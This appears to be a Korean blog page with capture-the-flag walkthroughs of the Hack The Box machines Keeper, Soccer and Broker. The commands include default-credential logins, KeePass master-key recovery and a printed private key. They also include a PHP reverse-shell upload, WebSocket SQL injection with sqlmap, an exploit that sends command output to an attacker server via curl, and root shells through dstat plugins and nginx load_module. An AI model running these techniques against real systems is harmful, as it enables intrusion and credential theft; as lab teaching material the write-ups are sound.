정보 수집 (Enumeration)

rustscan으로 열린 포트를 스캔한다.

rustscan -a 10.129.229.41 -- -sC -sV -oN nmap 

 

주요 포트는 22(SSH), 80(HTTP)이며, 80번 포트에서 HTTP 서비스가 운영 중임을 확인할 수 있다.

응답 헤더 또는 리다이렉션에서 tickets.keeper.htb 도메인을 확인하고 해당 ip를 /etc/hosts 에 등록한다.

 

 

tickets.keeper.htb에 접속하면 Request Tracker가 실행 중임을 확인할 수 있다. Request Tracker는 오픈소스 티켓 관리 시스템이다.

 

 

로그인 페이지에서 기본 자격 증명을 시도해본다. Request Tracker의 기본 관리자 계정 root:password로 로그인이 성공한다.

 

 

 

관리자 권한으로 로그인에 성공한다.

 

 

 

초기 침투 — 계정 탈취

Admin → Users 탭에 들어가면 시스템에 등록된 계정 정보를 조회할 수 있다.

 

 

그중에서 Inorgaard 라는 계정명이 눈에 띄는데 해당 계정 정보로 들어가면 비밀번호가 Comments 필드에 평문으로 노출된 것을 확인 가능하다.

 

 

확보한 자격 증명으로 SSH 로그인을 시도한다. 해당 계정 정보 (lnorgaard: Welcome2023!)로 ssh 로그인 성공한다.

 

 

권한 상승 (LPE)

lnorgaard 셸에서 홈 디렉터리를 확인하면 RT30000.zip파일이 존재한다. 해당 파일의 압축을 풀면 KeePass 프로세스의 메모리 덤프 파일(KeePassDumpFull.dmp)을 확인 가능하다.

 

 

 

KeePass 에는 메모리 덤프로부터 마스터키를 부분적으로 복구할 수 있는 취약점(CVE-2023-32784)이 존재하는 버전이 있다. KeePass 2.x는 마스터 패스워드 입력창에 SecureTextBoxEx 라는 커스텀 텍스트박스를 사용하는데, 문자를 하나씩 입력할 때마다 "이전 문자는 placeholder로 가리고 새 문자만 노출"되는 관리 문자열이 생성되며, 이 문자열이 지워지지 않고 메모리에 그대로 남아 있다. 다만 가장 처음 입력한 문자는 가릴 "이전 문자"가 없어 이 패턴 자체가 생성되지 않기 때문에, 프로세스 덤프에서 마스터키를 첫 번째 문자를 제외하고 거의 그대로 복구할 수 있다.

 

keepass-dumper를 사용해 덤프 파일에서 마스터키 문자를 추출한다.

python keepass_dump.py -f KeePassDumpFull.dmp --skip --debug --recover

 

도구 실행 결과 마스터 패스워드의 문자 조합 후보가 출력된다.

패스워드 치고는 이상해서, 해당 문구를 구글링 해보면 덴마크어 단어인 것으로 보이는 Rødgrød Med Fløde(베리로 만든 덴마크 전통 디저트 이름)가 나온다.

 

 

추측한 문구를 마스터 패스워드로 입력해 KeePassXC로 해당 KDBX 데이터베이스 파일을 열어본다.

KeePassXC 사용해 본 계정 항목 목록 중 root 계정의 비밀번호로 보이는 값이 확인된다.

 

 

 

해당 계정 정보를 사용해 root로 ssh 로그인을 시도하면 비밀번호 인증은 거부된다. SSH 설정에서 root 계정은 키 기반 인증만 허용하기 때문으로, 볼트(vault) 안에서 다른 항목을 더 탐색해야 한다.

 

 

 

볼트의 다른 항목을 확인하면 root의 SSH 접속에 사용되는 것으로 보이는 PuTTY 개인키 파일(id_rsa.ppk)이 첨부되어 있다.

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

 

 

 

해당 내용을 id_rsa.ppk 파일로 저장한다.

puttygen 도구를 사용해 ppk 포맷을 OpenSSH 기반 포맷으로 변경가능하다. puttygen 을 사용하기 위해서는 putty-tools 설치가 필요하다.

apt-get install putty-tools

 

 

puttygen을 이용해 ppk 파일을 OpenSSH 포맷으로 변환한다.

puttygen id_rsa.ppk -O private-openssh -o id_rsa

 

 

변환한 키를 사용해 root로 SSH 접속을 시도한다. 접속에 성공해 root 셸을 획득하고 root.txt 플래그를 확인한다.

ssh -i id_rsa root@10.129.229.41 

 

 

'HTB' 카테고리의 다른 글

HTB - Soccer  (0) 2026.08.16
HTB - Broker  (0) 2026.07.30
HTB - Servmon  (0) 2026.07.22
HTB - Help  (0) 2026.07.18
HTB - Sau  (0) 2026.07.18

정보 수집 (Enumeration)

rustscan으로 열린 포트를 스캔한다.

rustscan -a 10.129.38.43 -- -sC -sV -oN nmap 

 

 

주요 포트는 22(SSH), 80(HTTP)이다.

soccer.htb/etc/hosts에 등록하고 웹 서비스를 탐색한다. 해당 웹 서비스에서 별다른 특이점을 찾을 수 없었다.

 

 

 

gobuster를 사용한 디렉터리 브루트포스로 숨겨진 경로를 찾는다.

gobuster dir -u <http://soccer.htb/> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 5 -o gobuster.list

 

 

gobuster 결과 /tiny 경로가 발견된다. 해당 경로에 접속하면 Tiny File Manager가 실행 중임을 확인할 수 있다.

 

 

기본 자격 증명으로 로그인을 시도한다.

tiny file manager 기본 계정 정보 admin : admin@123로 로그인에 성공하였다.

 

 

초기 침투 (RCE)

Tiny File Manager — CVE-2021-45010 (파일 업로드 → www-data)

로그인 후 버전을 확인하면 Tiny File Manager 2.4.3으로, 인증된 사용자가 임의 파일을 업로드해 원격 코드를 실행할 수 있는 취약점(CVE-2021-45010)이 존재한다.

 

php 쉘코드는 해당 경로의 쉘코드를 사용하였다.

쉘코드 PHP 파일을 업로드하면, 파일이 정상적으로 업로드 되는 것을 확인할 수 있다.

 

 

nc 리스너를 열어둔 상태에서 업로드한 PHP 파일에 접근하면 www-data 권한의 리버스 셸이 연결된다. 셸에서 내부 열거를 진행한다.

curl http://soccer.htb/tiny/uploads/reverse.php

 

 

 

 

/etc/passwd를 확인하면 player 계정이 존재한다. 

www-data 셸에서 player로의 수평 이동이 목표가 되며, 내부 열거를 계속 진행해 이동 경로를 탐색한다.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false

 

 

www-data 셸에서 nginx의 sites-enabled 디렉터리를 확인하면 soccer.htb 외에 새로운 가상 호스트 soc-player.soccer.htb 가 운영 중임을 발견한다. /etc/hosts 에 등록해 접속한다.

 

soc-player.soccer.htb에 접속하면 회원가입/로그인 기능이 있는 페이지가 나타난다. 회원가입 후 로그인하면 티켓 번호를 조회하는 기능이 있다.

 

 

 

이 기능은 WebSocket(ws://soc-player.soccer.htb:9091)으로 {"id": "<번호>"} 형식의 JSON을 서버에 전송해 DB에서 티켓을 조회한다. id 파라미터에 입력값 검증이 없어 SQL 인젝션이 가능하다.

 

 

 

WebSocket SQL 인젝션

sqlmap은 WebSocket 프로토콜을 지원한다. ws:// URL과 --data 옵션으로 JSON 페이로드를 지정하고, 인젝션 포인트를 * 로 표시한다.

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch

 

 

soccer_db 데이터베이스가 확인됐다. 이제 soccer_db를 덤프하여 계정 정보를 탈취한다.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch

 

 

실행 시, soccer_dbaccounts 테이블에서 player 계정의 비밀번호를 얻게 된다.

획득한 비밀번호로 ssh를 통해 로그인한다.

ssh player@10.129.41.62 

 

 

권한 상승 (LPE)

player 셸에서 권한 상승 벡터를 탐색한다.

 

sudo 실행 권한은 가지고 있지 않다.

 

 

SUID 비트가 설정된 바이너리를 탐색한다.

find / -perm -4000 -type f 2>/dev/null

 

 

setuid가 걸린 바이너리 중에 /usr/local/bin/doas 라는 바이너리가 존재한다.

doassudo 와 유사한 OpenBSD 유래의 권한 상승 도구로, 설정 파일 doas.conf에 정의된 규칙에 따라 특정 명령을 다른 권한으로 실행할 수 있다. doas.conf를 확인한다.

 

 

doas.conf설정에서 player가 root로 /usr/bin/dstat 을 비밀번호 없이(nopass) 실행할 수 있도록 허용되어 있음을 확인할 수 있다.
dstat은 GTFOBins에 등재된 바이너리로, 사용자 정의 Python 플러그인을 로드하는 기능을 악용할 수 있다.

 

 

dstat/usr/share/dstat/ 또는 /usr/local/share/dstat/ 디렉터리에서 dstat_<name>.py 형태의 파일을 플러그인으로 로드한다. root 셸을 실행하는 악성 플러그인 파일을 작성한다.

 

/usr/local/share/dstat 디렉터리에 player 그룹 권한이 존재하는 것을 확인할 수 있다. 따라서 이곳에 악성 플러그인 파일을 작성한다.

 

 

파이썬 기반으로 sh 셸을 실행하는 플러그인 파일 dstat_shell.py를 작성하였다.

import os
os.system("/bin/sh")

 

 

작성한 플러그인 파일을 /usr/local/share/dstat/ 디렉터리에 복사한다.

 

--list 옵션으로 shell 플러그인이 인식되었는지 확인한다.
/usr/local/bin/doas /usr/bin/dstat --list

 

플러그인이 인식된 것을 확인한 뒤, --shell 옵션으로 플러그인을 실행하면 dstat_shell.py 내부의 os.system("/bin/sh") 가 root 권한으로 실행되면서 root 셸이 떨어진다. root.txt 플래그를 획득한다.

 

/usr/local/bin/doas /usr/bin/dstat --shell

 

'HTB' 카테고리의 다른 글

HTB - Keeper  (0) 2026.08.17
HTB - Broker  (0) 2026.07.30
HTB - Servmon  (0) 2026.07.22
HTB - Help  (0) 2026.07.18
HTB - Sau  (0) 2026.07.18

정보 수집 (Enumeration)

rustscan으로 포트를 스캔한다.

rustscan -a 10.129.230.87 -- -sC -sV -oN nmap

 

ActiveMQ가 사용하는 61616(OpenWire)을 비롯한 여러 브로커 포트가 함께 드러난다. 이 61616이 결국 실제 공격 표면이 된다.

 

80번 포트로 접속하면 HTTP 인증(로그인) 창이 뜬다. ActiveMQ 관리 콘솔의 기본 자격 증명인 admin:admin이 그대로 살아 있어 바로 로그인된다.

 

 

응답 헤더에서 Jetty 9.4.39.v20210325 버전이 확인되는데, Jetty는 ActiveMQ 관리 콘솔이 내장한 웹 서버다.

 

 

로그인 후 admin 페이지에서 ActiveMQ 5.15.15 버전을 특정할 수 있다.

이 버전은 뒤에서 다룰 CVE-2023-46604(패치 버전 5.15.16 이상)에 취약하다.

 

 

초기 침투 (RCE)

CVE-2023-46604는 ActiveMQ의 OpenWire 프로토콜(기본 61616 포트)에서 발생하는 인증이 필요 없는 원격 코드 실행 취약점으로, CVSS 점수 10.0의 최상위 심각도 취약점이다.

 

원리 요약

더보기

ActiveMQ는 클라이언트가 보낸 메시지 안에 담긴 클래스 이름을 아무 검증 없이 Java 객체로 생성한다. 공격자는 여기에 Spring 프레임워크의 ClassPathXmlApplicationContext라는 클래스를 지정하고, 인자로 공격자 서버의 XML 주소를 넘긴다. 이 클래스는 생성되는 순간 해당 URL의 XML을 자동으로 가져와 실행하는 특성이 있기 때문에, XML 안에 ProcessBuilder로 리버스 셸 명령을 심어두면 서버에서 임의 명령이 실행된다.

 

 

익스플로잇

아래 익스플로잇 코드를 사용하였다.

이 코드는 별도의 nc 리스너나 HTTP 서버를 따로 띄울 필요 없이, 내장 HTTP 서버가 poc.xml을 타겟에 전달하고 명령 결과를 /receive_data 엔드포인트로 수신한다. XML 내 curl -X POST -d @- .../receive_data 부분이 명령 stdout을 공격자 서버로 돌려보내는 채널이다.

 

-si-sp는 공격자 IP와 HTTP 수신 포트를 지정한다. 실행하면 내장 서버가 시작되고 타겟 61616 포트로 조작된 OpenWire 패킷을 전송한다.

python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.15.247 -sp 443

 

 

셸 획득 시 activemq 사용자로 명령 실행이 가능해진다. 이후 안정적인 TTY 셸로 업그레이드한 뒤 유저 플래그를 확인한다.

python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/activemq/user.txt

 

 

권한 상승 (LPE)

sudo -l 결과, activemq 사용자가 비밀번호 없이(NOPASSWD) /usr/sbin/nginx를 root로 실행할 수 있다는 것이 드러난다.

sudo -l

 

 

nginx는 실행 시 -c로 지정한 설정 파일대로 동작하므로, root 권한으로 임의 설정을 로드하는 nginx 서버를 직접 띄울 수 있다.

 

이제 두 가지 방식으로 root 권한을 활용할 수 있다.

GTFOBins의 nginx 항목이 바로 이 시나리오를 다룬다(GTFOBins - nginx).

 

1. DAV PUT 방식 (파일 읽기/쓰기)

핵심 아이디어는 root로 뜨는 nginx 서버가 파일시스템 루트(/)를 웹 루트로 잡고 dav_methods PUT으로 쓰기까지 허용하도록 설정하는 것이다. 그러면 root 권한으로 (1) 임의 파일 읽기(디렉터리 리스팅)와 (2) 임의 파일 쓰기(PUT)가 모두 가능해진다.

/tmp에 커스텀 설정 파일을 만든다. 이미 80번 포트를 nginx가 쓰고 있으므로 충돌을 피해 다른 포트(예: 1337)로 리슨한다.

# /tmp/root.conf
user root;
worker_processes auto;
events {
    worker_connections 1024;
}
http {
    server {
        listen 1337;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

 

root 권한으로 이 설정을 로드해 nginx를 실행한다.

sudo /usr/sbin/nginx -c /tmp/root.conf

 

웹 루트가 /이므로 root 소유 파일인 플래그를 직접 읽을 수 있다.

curl http://localhost:1337/root/root.txt

 

 

2. load_module(공유 라이브러리) 방식

GTFOBins의 "악성 공유 라이브러리(.so) 로드" 변형이다.

 

 

sudo nginx -t로 설정 문법 검사를 트리거하면, nginx가 load_module에 지정된 .so를 root 권한으로 dlopen한다. 이때 .so 내부의 __attribute__((constructor)) 함수가 실행되어 임의 코드를 root로 실행할 수 있다.

 

먼저 악성 .so를 컴파일한다.

cd /tmp/

echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \ | gcc -w -fPIC -shared -o lib.so -x c -

 

이후 load_module 지시어만 담은 최소 설정 파일을 만들고 nginx에 로드시킨다.

cat >/tmp/temp_file <<EOF
load_module /tmp/lib.so;
EOF

 

nginx -t 실행 시 .so가 로드되면서 execl/bin/sh가 root 권한으로 실행된다.

nginx 프로세스의 stdin/stdout을 그대로 상속하므로 해당 터미널에서 바로 root 셸이 떨어진다.

sudo /usr/sbin/nginx -t -c /tmp/temp_file

 

'HTB' 카테고리의 다른 글

HTB - Keeper  (0) 2026.08.17
HTB - Soccer  (0) 2026.08.16
HTB - Servmon  (0) 2026.07.22
HTB - Help  (0) 2026.07.18
HTB - Sau  (0) 2026.07.18

+ Recent posts